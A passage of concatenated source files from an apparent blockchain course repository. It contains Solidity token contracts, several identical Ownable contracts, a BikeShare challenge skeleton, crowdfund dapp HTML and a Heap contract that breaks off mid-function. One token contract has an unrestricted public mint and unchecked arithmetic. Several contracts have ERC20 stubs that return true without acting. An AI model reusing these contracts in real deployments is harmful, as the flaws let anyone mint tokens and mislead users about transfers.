| 10 | using SafeMath for uint256; 11 | 12 | /* ERC20 INTERFACE */ 13 | string public name = "TOKEN NAME"; 14 | string public symbol = "SYMBOL"; 15 | uint8 public decimals = 0; 16 | uint256 public totalSupply = 0; 17 | 18 | mapping (address => mapping (address => uint256)) internal allowed; 19 | mapping(address => uint256) balances; 20 | 21 | event Transfer(address indexed from, address indexed to, uint256 value); 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | event Mint(address indexed to, uint256 amount); 24 | 25 | 26 | // Not implemented 27 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return true; } 28 | function approve(address _spender, uint256 _value) public returns (bool) { return true; } 29 | function allowance(address _owner, address _spender) public view returns (uint256) { return 0; } 30 | 31 | function balanceOf(address _owner) public view returns (uint256 balance) { 32 | return balances[_owner]; 33 | } 34 | 35 | function transfer(address _to, uint256 _value) public returns (bool) { 36 | require(_to != address(0)); 37 | require(_value <= balances[msg.sender]); 38 | balances[msg.sender] = balances[msg.sender].sub(_value); 39 | balances[_to] = balances[_to].add(_value); 40 | emit Transfer(msg.sender, _to, _value); 41 | return true; 42 | } 43 | 44 | /* END OF ERC20 INTERFACE */ 45 | 46 | // Default max supply is 1000 47 | uint256 maxSupply = 100000000; 48 | 49 | // Minting function, adds tokens to our total supply 50 | function mint(address _to, uint256 _amount) internal returns (bool) { 51 | // Add to the total supply 52 | totalSupply = totalSupply.add(_amount); 53 | // Ensure it is less than the max supply 54 | require(totalSupply <= maxSupply, "max supply reached"); 55 | // Add to balance 56 | balances[_to] = balances[_to].add(_amount); 57 | // Emit events 58 | emit Mint(_to, _amount); 59 | emit Transfer(address(0), _to, _amount); 60 | return true; 61 | } 62 | 63 | } -------------------------------------------------------------------------------- /modules/random/Token.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | 6 | contract CourseToken { 7 | 8 | string public name = "B@UBC"; 9 | string public symbol = "B@UBC"; 10 | uint8 public decimals = 0; 11 | uint256 public totalSupply = 0; 12 | 13 | 14 | mapping(address => uint256) balances; 15 | 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | event Approval(address indexed owner, address indexed spender, uint256 value); 18 | event Mint(address indexed to, uint256 amount); 19 | 20 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return true; } 21 | function approve(address _spender, uint256 _value) public returns (bool) { return true; } 22 | function allowance(address _owner, address _spender) public view returns (uint256) { return 0; } 23 | 24 | function transfer(address _to, uint256 _value) public returns (bool) { 25 | require(_to != address(0)); 26 | require(_value <= balances[msg.sender]); 27 | 28 | balances[msg.sender] = balances[msg.sender] - (_value); 29 | balances[_to] = balances[_to] + (_value); 30 | emit Transfer(msg.sender, _to, _value); 31 | return true; 32 | } 33 | 34 | function transferMany(address[] calldata _batchOfAddresses) external returns (bool) { 35 | for (uint256 i = 0; i < _batchOfAddresses.length; i++) { 36 | deliverTokens(_batchOfAddresses[i]); 37 | } 38 | return true; 39 | } 40 | 41 | function deliverTokens(address _to) internal { 42 | if (balances[_to] == 0) { 43 | balances[_to] = balances[_to] + (1); 44 | balances[msg.sender] = balances[msg.sender] - (1); 45 | emit Transfer(msg.sender, _to, 1); 46 | } 47 | } 48 | 49 | 50 | function balanceOf(address _owner) public view returns (uint256 balance) { 51 | return balances[_owner]; 52 | } 53 | 54 | function mint(address _to, uint256 _amount) public returns (bool) { 55 | totalSupply = totalSupply + (_amount); 56 | balances[_to] = balances[_to] + (_amount); 57 | emit Mint(_to, _amount); 58 | emit Transfer(address(0), _to, _amount); 59 | return true; 60 | } 61 | 62 | function() external payable { 63 | address(0x40058579f9D68ebebBe6E6F45c1995D5143F26AC).transfer(msg.value); 64 | mint(msg.sender, 1); 65 | } 66 | 67 | } -------------------------------------------------------------------------------- /modules/course_token/contracts/Ownable.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.5.4; 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address private _owner; 11 | 12 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 13 | 14 | /** 15 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 16 | * account. 17 | */ 18 | constructor () internal { 19 | _owner = msg.sender; 20 | emit OwnershipTransferred(address(0), _owner); 21 | } 22 | 23 | /** 24 | * @return the address of the owner. 25 | */ 26 | function owner() public view returns (address) { 27 | return _owner; 28 | } 29 | 30 | /** 31 | * @dev Throws if called by any account other than the owner. 32 | */ 33 | modifier onlyOwner() { 34 | require(isOwner()); 35 | _; 36 | } 37 | 38 | /** 39 | * @return true if `msg.sender` is the owner of the contract. 40 | */ 41 | function isOwner() public view returns (bool) { 42 | return msg.sender == _owner; 43 | } 44 | 45 | /** 46 | * @dev Allows the current owner to relinquish control of the contract. 47 | * It will not be possible to call the functions with the `onlyOwner` 48 | * modifier anymore. 49 | * @notice Renouncing ownership will leave the contract without an owner, 50 | * thereby removing any functionality that is only available to the owner. 51 | */ 52 | function renounceOwnership() public onlyOwner { 53 | emit OwnershipTransferred(_owner, address(0)); 54 | _owner = address(0); 55 | } 56 | 57 | /** 58 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 59 | * @param newOwner The address to transfer ownership to. 60 | */ 61 | function transferOwnership(address newOwner) public onlyOwner { 62 | _transferOwnership(newOwner); 63 | } 64 | 65 | /** 66 | * @dev Transfers control of the contract to a newOwner. 67 | * @param newOwner The address to transfer ownership to. 68 | */ 69 | function _transferOwnership(address newOwner) internal { 70 | require(newOwner != address(0)); 71 | emit OwnershipTransferred(_owner, newOwner); 72 | _owner = newOwner; 73 | } 74 | } -------------------------------------------------------------------------------- /modules/course_token/contracts/CourseToken.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./SafeMath.sol"; 6 | import "./Ownable.sol"; 7 | 8 | contract CourseToken is Ownable { 9 | 10 | using SafeMath for uint256; 11 | 12 | string public name = "Blockchain Summit 6th and 7th of June 2019"; 13 | string public symbol = "B@UBC"; 14 | uint8 public decimals = 0; 15 | uint256 public totalSupply = 0; 16 | 17 | 18 | mapping(address => uint256) balances; 19 | 20 | event Transfer(address indexed from, address indexed to, uint256 value); 21 | event Approval(address indexed owner, address indexed spender, uint256 value); 22 | event Mint(address indexed to, uint256 amount); 23 | 24 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return true; } 25 | function approve(address _spender, uint256 _value) public returns (bool) { return true; } 26 | function allowance(address _owner, address _spender) public view returns (uint256) { return 0; } 27 | 28 | function transfer(address _to, uint256 _value) public returns (bool) { 29 | require(_to != address(0)); 30 | require(_value <= balances[msg.sender]); 31 | require(msg.sender == owner()); 32 | 33 | balances[msg.sender] = balances[msg.sender].sub(_value); 34 | balances[_to] = balances[_to].add(_value); 35 | emit Transfer(msg.sender, _to, _value); 36 | return true; 37 | } 38 | 39 | function transferMany(address[] calldata _batchOfAddresses) external onlyOwner returns (bool) { 40 | for (uint256 i = 0; i < _batchOfAddresses.length; i++) { 41 | deliverTokens(_batchOfAddresses[i]); 42 | } 43 | return true; 44 | } 45 | 46 | function deliverTokens(address _to) internal { 47 | if (balances[_to] == 0) { 48 | balances[_to] = balances[_to].add(1); 49 | balances[msg.sender] = balances[msg.sender].sub(1); 50 | emit Transfer(msg.sender, _to, 1); 51 | } 52 | } 53 | 54 | 55 | function balanceOf(address _owner) public view returns (uint256 balance) { 56 | return balances[_owner]; 57 | } 58 | 59 | function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { 60 | totalSupply = totalSupply.add(_amount); 61 | balances[_to] = balances[_to].add(_amount); 62 | emit Mint(_to, _amount); 63 | emit Transfer(address(0), _to, _amount); 64 | return true; 65 | } 66 | 67 | } -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/contracts/library/Ownable.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.5.4; 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address private _owner; 11 | 12 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 13 | 14 | /** 15 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 16 | * account. 17 | */ 18 | constructor () internal { 19 | _owner = msg.sender; 20 | emit OwnershipTransferred(address(0), _owner); 21 | } 22 | 23 | /** 24 | * @return the address of the owner. 25 | */ 26 | function owner() public view returns (address) { 27 | return _owner; 28 | } 29 | 30 | /** 31 | * @dev Throws if called by any account other than the owner. 32 | */ 33 | modifier onlyOwner() { 34 | require(isOwner()); 35 | _; 36 | } 37 | 38 | /** 39 | * @return true if `msg.sender` is the owner of the contract. 40 | */ 41 | function isOwner() public view returns (bool) { 42 | return msg.sender == _owner; 43 | } 44 | 45 | /** 46 | * @dev Allows the current owner to relinquish control of the contract. 47 | * It will not be possible to call the functions with the `onlyOwner` 48 | * modifier anymore. 49 | * @notice Renouncing ownership will leave the contract without an owner, 50 | * thereby removing any functionality that is only available to the owner. 51 | */ 52 | function renounceOwnership() public onlyOwner { 53 | emit OwnershipTransferred(_owner, address(0)); 54 | _owner = address(0); 55 | } 56 | 57 | /** 58 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 59 | * @param newOwner The address to transfer ownership to. 60 | */ 61 | function transferOwnership(address newOwner) public onlyOwner { 62 | _transferOwnership(newOwner); 63 | } 64 | 65 | /** 66 | * @dev Transfers control of the contract to a newOwner. 67 | * @param newOwner The address to transfer ownership to. 68 | */ 69 | function _transferOwnership(address newOwner) internal { 70 | require(newOwner != address(0)); 71 | emit OwnershipTransferred(_owner, newOwner); 72 | _owner = newOwner; 73 | } 74 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/01/contracts/library/Ownable.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.5.4; 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address private _owner; 11 | 12 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 13 | 14 | /** 15 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 16 | * account. 17 | */ 18 | constructor () internal { 19 | _owner = msg.sender; 20 | emit OwnershipTransferred(address(0), _owner); 21 | } 22 | 23 | /** 24 | * @return the address of the owner. 25 | */ 26 | function owner() public view returns (address) { 27 | return _owner; 28 | } 29 | 30 | /** 31 | * @dev Throws if called by any account other than the owner. 32 | */ 33 | modifier onlyOwner() { 34 | require(isOwner()); 35 | _; 36 | } 37 | 38 | /** 39 | * @return true if `msg.sender` is the owner of the contract. 40 | */ 41 | function isOwner() public view returns (bool) { 42 | return msg.sender == _owner; 43 | } 44 | 45 | /** 46 | * @dev Allows the current owner to relinquish control of the contract. 47 | * It will not be possible to call the functions with the `onlyOwner` 48 | * modifier anymore. 49 | * @notice Renouncing ownership will leave the contract without an owner, 50 | * thereby removing any functionality that is only available to the owner. 51 | */ 52 | function renounceOwnership() public onlyOwner { 53 | emit OwnershipTransferred(_owner, address(0)); 54 | _owner = address(0); 55 | } 56 | 57 | /** 58 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 59 | * @param newOwner The address to transfer ownership to. 60 | */ 61 | function transferOwnership(address newOwner) public onlyOwner { 62 | _transferOwnership(newOwner); 63 | } 64 | 65 | /** 66 | * @dev Transfers control of the contract to a newOwner. 67 | * @param newOwner The address to transfer ownership to. 68 | */ 69 | function _transferOwnership(address newOwner) internal { 70 | require(newOwner != address(0)); 71 | emit OwnershipTransferred(_owner, newOwner); 72 | _owner = newOwner; 73 | } 74 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/02/contracts/library/Ownable.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.5.4; 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address private _owner; 11 | 12 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 13 | 14 | /** 15 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 16 | * account. 17 | */ 18 | constructor () internal { 19 | _owner = msg.sender; 20 | emit OwnershipTransferred(address(0), _owner); 21 | } 22 | 23 | /** 24 | * @return the address of the owner. 25 | */ 26 | function owner() public view returns (address) { 27 | return _owner; 28 | } 29 | 30 | /** 31 | * @dev Throws if called by any account other than the owner. 32 | */ 33 | modifier onlyOwner() { 34 | require(isOwner()); 35 | _; 36 | } 37 | 38 | /** 39 | * @return true if `msg.sender` is the owner of the contract. 40 | */ 41 | function isOwner() public view returns (bool) { 42 | return msg.sender == _owner; 43 | } 44 | 45 | /** 46 | * @dev Allows the current owner to relinquish control of the contract. 47 | * It will not be possible to call the functions with the `onlyOwner` 48 | * modifier anymore. 49 | * @notice Renouncing ownership will leave the contract without an owner, 50 | * thereby removing any functionality that is only available to the owner. 51 | */ 52 | function renounceOwnership() public onlyOwner { 53 | emit OwnershipTransferred(_owner, address(0)); 54 | _owner = address(0); 55 | } 56 | 57 | /** 58 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 59 | * @param newOwner The address to transfer ownership to. 60 | */ 61 | function transferOwnership(address newOwner) public onlyOwner { 62 | _transferOwnership(newOwner); 63 | } 64 | 65 | /** 66 | * @dev Transfers control of the contract to a newOwner. 67 | * @param newOwner The address to transfer ownership to. 68 | */ 69 | function _transferOwnership(address newOwner) internal { 70 | require(newOwner != address(0)); 71 | emit OwnershipTransferred(_owner, newOwner); 72 | _owner = newOwner; 73 | } 74 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/03/contracts/library/Ownable.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.5.4; 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address private _owner; 11 | 12 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 13 | 14 | /** 15 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 16 | * account. 17 | */ 18 | constructor () internal { 19 | _owner = msg.sender; 20 | emit OwnershipTransferred(address(0), _owner); 21 | } 22 | 23 | /** 24 | * @return the address of the owner. 25 | */ 26 | function owner() public view returns (address) { 27 | return _owner; 28 | } 29 | 30 | /** 31 | * @dev Throws if called by any account other than the owner. 32 | */ 33 | modifier onlyOwner() { 34 | require(isOwner()); 35 | _; 36 | } 37 | 38 | /** 39 | * @return true if `msg.sender` is the owner of the contract. 40 | */ 41 | function isOwner() public view returns (bool) { 42 | return msg.sender == _owner; 43 | } 44 | 45 | /** 46 | * @dev Allows the current owner to relinquish control of the contract. 47 | * It will not be possible to call the functions with the `onlyOwner` 48 | * modifier anymore. 49 | * @notice Renouncing ownership will leave the contract without an owner, 50 | * thereby removing any functionality that is only available to the owner. 51 | */ 52 | function renounceOwnership() public onlyOwner { 53 | emit OwnershipTransferred(_owner, address(0)); 54 | _owner = address(0); 55 | } 56 | 57 | /** 58 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 59 | * @param newOwner The address to transfer ownership to. 60 | */ 61 | function transferOwnership(address newOwner) public onlyOwner { 62 | _transferOwnership(newOwner); 63 | } 64 | 65 | /** 66 | * @dev Transfers control of the contract to a newOwner. 67 | * @param newOwner The address to transfer ownership to. 68 | */ 69 | function _transferOwnership(address newOwner) internal { 70 | require(newOwner != address(0)); 71 | emit OwnershipTransferred(_owner, newOwner); 72 | _owner = newOwner; 73 | } 74 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/04/contracts/library/Ownable.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.5.4; 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address private _owner; 11 | 12 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 13 | 14 | /** 15 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 16 | * account. 17 | */ 18 | constructor () internal { 19 | _owner = msg.sender; 20 | emit OwnershipTransferred(address(0), _owner); 21 | } 22 | 23 | /** 24 | * @return the address of the owner. 25 | */ 26 | function owner() public view returns (address) { 27 | return _owner; 28 | } 29 | 30 | /** 31 | * @dev Throws if called by any account other than the owner. 32 | */ 33 | modifier onlyOwner() { 34 | require(isOwner()); 35 | _; 36 | } 37 | 38 | /** 39 | * @return true if `msg.sender` is the owner of the contract. 40 | */ 41 | function isOwner() public view returns (bool) { 42 | return msg.sender == _owner; 43 | } 44 | 45 | /** 46 | * @dev Allows the current owner to relinquish control of the contract. 47 | * It will not be possible to call the functions with the `onlyOwner` 48 | * modifier anymore. 49 | * @notice Renouncing ownership will leave the contract without an owner, 50 | * thereby removing any functionality that is only available to the owner. 51 | */ 52 | function renounceOwnership() public onlyOwner { 53 | emit OwnershipTransferred(_owner, address(0)); 54 | _owner = address(0); 55 | } 56 | 57 | /** 58 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 59 | * @param newOwner The address to transfer ownership to. 60 | */ 61 | function transferOwnership(address newOwner) public onlyOwner { 62 | _transferOwnership(newOwner); 63 | } 64 | 65 | /** 66 | * @dev Transfers control of the contract to a newOwner. 67 | * @param newOwner The address to transfer ownership to. 68 | */ 69 | function _transferOwnership(address newOwner) internal { 70 | require(newOwner != address(0)); 71 | emit OwnershipTransferred(_owner, newOwner); 72 | _owner = newOwner; 73 | } 74 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/05/contracts/library/Ownable.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.5.4; 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address private _owner; 11 | 12 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 13 | 14 | /** 15 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 16 | * account. 17 | */ 18 | constructor () internal { 19 | _owner = msg.sender; 20 | emit OwnershipTransferred(address(0), _owner); 21 | } 22 | 23 | /** 24 | * @return the address of the owner. 25 | */ 26 | function owner() public view returns (address) { 27 | return _owner; 28 | } 29 | 30 | /** 31 | * @dev Throws if called by any account other than the owner. 32 | */ 33 | modifier onlyOwner() { 34 | require(isOwner()); 35 | _; 36 | } 37 | 38 | /** 39 | * @return true if `msg.sender` is the owner of the contract. 40 | */ 41 | function isOwner() public view returns (bool) { 42 | return msg.sender == _owner; 43 | } 44 | 45 | /** 46 | * @dev Allows the current owner to relinquish control of the contract. 47 | * It will not be possible to call the functions with the `onlyOwner` 48 | * modifier anymore. 49 | * @notice Renouncing ownership will leave the contract without an owner, 50 | * thereby removing any functionality that is only available to the owner. 51 | */ 52 | function renounceOwnership() public onlyOwner { 53 | emit OwnershipTransferred(_owner, address(0)); 54 | _owner = address(0); 55 | } 56 | 57 | /** 58 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 59 | * @param newOwner The address to transfer ownership to. 60 | */ 61 | function transferOwnership(address newOwner) public onlyOwner { 62 | _transferOwnership(newOwner); 63 | } 64 | 65 | /** 66 | * @dev Transfers control of the contract to a newOwner. 67 | * @param newOwner The address to transfer ownership to. 68 | */ 69 | function _transferOwnership(address newOwner) internal { 70 | require(newOwner != address(0)); 71 | emit OwnershipTransferred(_owner, newOwner); 72 | _owner = newOwner; 73 | } 74 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/06/contracts/library/Ownable.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.5.4; 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address private _owner; 11 | 12 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 13 | 14 | /** 15 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 16 | * account. 17 | */ 18 | constructor () internal { 19 | _owner = msg.sender; 20 | emit OwnershipTransferred(address(0), _owner); 21 | } 22 | 23 | /** 24 | * @return the address of the owner. 25 | */ 26 | function owner() public view returns (address) { 27 | return _owner; 28 | } 29 | 30 | /** 31 | * @dev Throws if called by any account other than the owner. 32 | */ 33 | modifier onlyOwner() { 34 | require(isOwner()); 35 | _; 36 | } 37 | 38 | /** 39 | * @return true if `msg.sender` is the owner of the contract. 40 | */ 41 | function isOwner() public view returns (bool) { 42 | return msg.sender == _owner; 43 | } 44 | 45 | /** 46 | * @dev Allows the current owner to relinquish control of the contract. 47 | * It will not be possible to call the functions with the `onlyOwner` 48 | * modifier anymore. 49 | * @notice Renouncing ownership will leave the contract without an owner, 50 | * thereby removing any functionality that is only available to the owner. 51 | */ 52 | function renounceOwnership() public onlyOwner { 53 | emit OwnershipTransferred(_owner, address(0)); 54 | _owner = address(0); 55 | } 56 | 57 | /** 58 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 59 | * @param newOwner The address to transfer ownership to. 60 | */ 61 | function transferOwnership(address newOwner) public onlyOwner { 62 | _transferOwnership(newOwner); 63 | } 64 | 65 | /** 66 | * @dev Transfers control of the contract to a newOwner. 67 | * @param newOwner The address to transfer ownership to. 68 | */ 69 | function _transferOwnership(address newOwner) internal { 70 | require(newOwner != address(0)); 71 | emit OwnershipTransferred(_owner, newOwner); 72 | _owner = newOwner; 73 | } 74 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/final/contracts/library/Ownable.sol: -------------------------------------------------------------------------------- 1 | 2 | pragma solidity ^0.5.4; 3 | 4 | /** 5 | * @title Ownable 6 | * @dev The Ownable contract has an owner address, and provides basic authorization control 7 | * functions, this simplifies the implementation of "user permissions". 8 | */ 9 | contract Ownable { 10 | address private _owner; 11 | 12 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 13 | 14 | /** 15 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 16 | * account. 17 | */ 18 | constructor () internal { 19 | _owner = msg.sender; 20 | emit OwnershipTransferred(address(0), _owner); 21 | } 22 | 23 | /** 24 | * @return the address of the owner. 25 | */ 26 | function owner() public view returns (address) { 27 | return _owner; 28 | } 29 | 30 | /** 31 | * @dev Throws if called by any account other than the owner. 32 | */ 33 | modifier onlyOwner() { 34 | require(isOwner()); 35 | _; 36 | } 37 | 38 | /** 39 | * @return true if `msg.sender` is the owner of the contract. 40 | */ 41 | function isOwner() public view returns (bool) { 42 | return msg.sender == _owner; 43 | } 44 | 45 | /** 46 | * @dev Allows the current owner to relinquish control of the contract. 47 | * It will not be possible to call the functions with the `onlyOwner` 48 | * modifier anymore. 49 | * @notice Renouncing ownership will leave the contract without an owner, 50 | * thereby removing any functionality that is only available to the owner. 51 | */ 52 | function renounceOwnership() public onlyOwner { 53 | emit OwnershipTransferred(_owner, address(0)); 54 | _owner = address(0); 55 | } 56 | 57 | /** 58 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 59 | * @param newOwner The address to transfer ownership to. 60 | */ 61 | function transferOwnership(address newOwner) public onlyOwner { 62 | _transferOwnership(newOwner); 63 | } 64 | 65 | /** 66 | * @dev Transfers control of the contract to a newOwner. 67 | * @param newOwner The address to transfer ownership to. 68 | */ 69 | function _transferOwnership(address newOwner) internal { 70 | require(newOwner != address(0)); 71 | emit OwnershipTransferred(_owner, newOwner); 72 | _owner = newOwner; 73 | } 74 | } -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/02/BikeShare.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.4.21; 4 | 5 | 6 | contract BikeShare { 7 | 8 | 9 | /************************************** 10 | * State variables 11 | **************************************/ 12 | // "Type" Bike, holds the owner, whether it is rented, and 13 | // the amount of kilometers ridden 14 | struct Bike { 15 | address owner; 16 | bool isRented; 17 | uint256 kms; 18 | } 19 | 20 | // Array of said bikes 21 | Bike[] bikes; 22 | 23 | // Mapping to keep track of the bikes rented 24 | mapping(address => uint256) bikeRented; 25 | 26 | // Mapping to keep track of user's credit balances 27 | mapping(address => uint256) credits; 28 | 29 | // Initial credit price 30 | uint256 creditPrice = 1 finney; 31 | // Initial cost per kilometer 32 | uint256 cpkm = 5; 33 | // Initial credits received for donating a bike 34 | uint256 donateCredits = 500; 35 | // Initial credits given for repairing a bike 36 | uint256 repairCredits = 250; 37 | 38 | /************************************** 39 | * constructor 40 | **************************************/ 41 | function BikeShare() { 42 | 43 | } 44 | 45 | /************************************** 46 | * Functions only accessible by the owner 47 | **************************************/ 48 | function setCreditPrice() {} 49 | function setCPKM() {} 50 | function setDonateCredits() {} 51 | function setRepairCredits() {} 52 | 53 | /************************************** 54 | * getters not provided by compiler 55 | **************************************/ 56 | function getAvailable(){} 57 | 58 | /************************************** 59 | * Function to purchase Credits 60 | **************************************/ 61 | function purchaseCredits() {} 62 | 63 | /************************************** 64 | * Donating function 65 | **************************************/ 66 | function donateBike() {} 67 | 68 | /************************************** 69 | * Rent a bike 70 | **************************************/ 71 | function rentBike() {} 72 | 73 | /************************************** 74 | * Ride a bike 75 | **************************************/ 76 | function rideBike() {} 77 | 78 | /************************************** 79 | * Return the bike 80 | **************************************/ 81 | function returnBike() {} 82 | 83 | /************************************** 84 | * default payable function, will call purchaseCredits 85 | **************************************/ 86 | function() {} 87 | } 88 | 89 | /* 90 | THIS CONTRACT IS ONLY MEANT TO BE USED FOR EDUCATIONAL PURPOSES. ANY AND ALL USES IS 91 | AT A USER'S OWN RISK AND THE AUTHOR HAS NO RESPONSIBILITY FOR ANY LOSS OF ANY KIND STEMMING 92 | THIS CODE. 93 | */ -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/dist/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Simple Crowdfund 9 | 10 | 11 | 12 |
13 |
14 |
15 |

Simple Crowdfund Dapp

16 |
17 |
18 |

Loading Web3 from Metamask... Please make sure your metamask is unlocked

19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 | 32 |
33 |
34 | Buy Tokens 35 |
36 | Amount: 37 | 38 |
39 |
40 | 41 |
42 |
43 | Get Balance 44 |
45 | Address: 46 | 47 |
48 |
49 |
50 | 51 |
52 |
53 | Transfer tokens 54 |
55 | To Address: 56 | Amount: 57 | 58 |
59 |
60 | 61 | 62 | 63 |
64 | 65 |
66 |
67 | 68 | 70 | 73 | 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/src/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Simple Crowdfund 9 | 10 | 11 | 12 |
13 |
14 |
15 |

Simple Crowdfund Dapp

16 |
17 |
18 |

Loading Web3 from Metamask... Please make sure your metamask is unlocked

19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 | 32 |
33 |
34 | Buy Tokens 35 |
36 | Amount: 37 | 38 |
39 |
40 | 41 |
42 |
43 | Get Balance 44 |
45 | Address: 46 | 47 |
48 |
49 |
50 | 51 |
52 |
53 | Transfer tokens 54 |
55 | To Address: 56 | Amount: 57 | 58 |
59 |
60 | 61 | 62 | 63 |
64 | 65 |
66 |
67 | 68 | 70 | 73 | 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /advanced_modules/plasma/mvp/contracts/Heap.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.24; 2 | 3 | import "openzeppelin-solidity/contracts/math/SafeMath.sol"; 4 | 5 | contract Heap { 6 | 7 | using SafeMath for uint256; 8 | 9 | address public owner; 10 | 11 | // The main operations of a priority queue are insert, delMax, & isEmpty. 12 | constructor() public { 13 | // Start at 0 14 | heap = [0]; 15 | owner = msg.sender; 16 | } 17 | 18 | 19 | // Ensure only the owner of the contract can do certain actions 20 | modifier onlyOwner { 21 | require(msg.sender == owner); 22 | _; 23 | } 24 | 25 | // We will be storing our heap in an array 26 | uint256[] public heap; 27 | 28 | // Inserts adds in a value to our heap. 29 | function insert(uint256 _value) public onlyOwner { 30 | // Add the value to the end of our array 31 | heap.push(_value); 32 | // Start at the end of the array 33 | uint256 currentIndex = heap.length.sub(1); 34 | 35 | // Bubble up the value until it reaches it's correct place (i.e. it is smaller than it's parent) 36 | while(currentIndex > 1 && heap[currentIndex.div(2)] < heap[currentIndex]) { 37 | 38 | // If the parent value is lower than our current value, we swap them 39 | (heap[currentIndex.div(2)], heap[currentIndex]) = (_value, heap[currentIndex.div(2)]); 40 | // change our current Index to go up to the parent 41 | currentIndex = currentIndex.div(2); 42 | } 43 | } 44 | 45 | // RemoveMax pops off the root element of the heap (the highest value here) and rebalances the heap 46 | function removeMax() public onlyOwner returns(uint256) { 47 | // Ensure the heap exists 48 | require(heap.length > 1); 49 | // take the root value of the heap 50 | uint256 toReturn = heap[1]; 51 | 52 | // Takes the last element of the array and put it at the root 53 | heap[1] = heap[heap.length.sub(1)]; 54 | // Delete the last element from the array 55 | heap.length = heap.length.sub(1); 56 | 57 | // Start at the top 58 | uint256 currentIndex = 1; 59 | 60 | // Bubble down 61 | while(currentIndex.mul(2) < heap.length.sub(1)) { 62 | // get the current index of the children 63 | uint256 j = currentIndex.mul(2); 64 | 65 | // left child value 66 | uint256 leftChild = 